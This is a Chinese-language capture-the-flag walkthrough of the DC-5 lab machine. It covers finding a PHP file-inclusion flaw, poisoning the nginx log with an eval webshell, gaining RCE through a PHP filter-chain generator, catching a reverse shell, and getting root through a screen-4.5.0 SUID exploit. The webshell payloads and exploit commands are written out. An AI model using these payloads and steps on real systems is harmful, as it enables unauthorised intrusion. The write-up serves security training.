DC-5靶场
文章目录
- DC-5靶场
- 信息收集
- 漏洞发现
- 漏洞利用 --- 日志文件包含
- 漏洞利用 --- 文件包含过滤器链的RCE
- shell反弹
- 权限提升
信息收集
使用--script=vuln
扫描发现了一个thankyou.php
界面 感觉会有问题,前往访问网站信息
漏洞发现
- 来到
thankyou.php
界面,发现只是一个普通的界面,但是再次访问的时候,发现下面的标识发生了改变,猜测这个界面存在文件包含,通过刷新来随机访问某一个界面
- 察觉到该网站存在文件包含漏洞,接下来尝试爆破一下读取文件的参数变量才行。使用burp对包含参数进行爆破,读取Linux的密码。fuzz字典爆破得到访问文件的参数是file
3. 还可以利用ffuf工具对参数进行爆破,得到文件包含参数为file
漏洞利用 — 日志文件包含
- 既然如此,该中间件是nginx,只需要访问nginx中间件的日志文件即可构建恶意get请求,来写入
shell
了
- 通过搜索的值,日志文件存储在
/var/log/nginx/access.log
- 构造
paylaod
进行访问
- 发现日志文件末尾有刚才访问请求的记录
- 构造恶意的
get
请求,将shell
写入日志中,发现直接构建url
传参会进行转义。
- 尝试使用burp抓包修改参数进行传入,修改GET传参含有
<?php @eval($_POST[a]);?>
一句话木马形式,传入到日志文件中。如果查看日志文件中没有这段代码,则成功执行了
- 再次尝试蚁剑连接,发现成功连接
- 再在网站根目录下上传一个
shell
文件,再次连接,发现上传和写入失败,来到tmp
文件夹内,写入新的shell文件
- 尝试连接新shell,成功连接
漏洞利用 — 文件包含过滤器链的RCE
-
工具地址https://github.com/synacktiv/php_filter_chain_generator。该工具可以用于生成 PHP 过滤器链的 CLI,如果用户能够完全控制PHP 中的 require 或 include 的参数,则无需上传文件即可获取 RCE
-
执行命令
python php_filter_chain_generator.py --chain '<?php system($_GET["a"]);?>'
生成一句话木马的过滤器链。将生成的php过滤链直接传参,传入命令即可得到RCE的结果
python php_filter_chain_generator.py --chain '<?php system($_GET["a"]);?>'
3. 接下来执行反弹shell命令即可得到www-data用户的shell。比常规的文件包含获取shell简便了非常多
shell反弹
- 本地kali虚拟机监听本地端口,等待蚁剑的虚拟终端将shell反弹到主机端口上。反弹成功,优化shell界面
- 蚁剑将
shell
反弹到kali
上
权限提升
- 上传Linux漏洞探针
- 执行该探针文件,查看存在的系统漏洞
- 尝试了很多次,每个cve漏洞的利用文件都使用了,发现都执行不成功,应该是缺少某些东西了。看来还是得了解一下这些EXP了
- 尝试使用
SUID提权
,使用find来查看是否有可以suid提权的命令
- 据了解scree-4.5.0存在可以利用的漏洞,使用searchsploit查找利用的exp
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.txt
- 查看
.sh
文件,发现需要形成两个.c
文件,带有编译的命令,还有最后的shell
脚本
- 将
41154.sh
转换成Linux
执行的文件dos2unix 41154.sh
原来的提权文件是window版本的,所以上面执行力很多遍都没有成功。转换成Linux文件后,只需要将41154.sh
传入到目标机上,给予执行权限,执行该脚本即可自动提权
- 使用
wget
命令下载POC文件,赋予执行权限,bash 41154.sh
发现执行成功,返回了一个#可输入的内容,输入id
发现返回了root权限
- 来到root目录下,查看flag文件。成功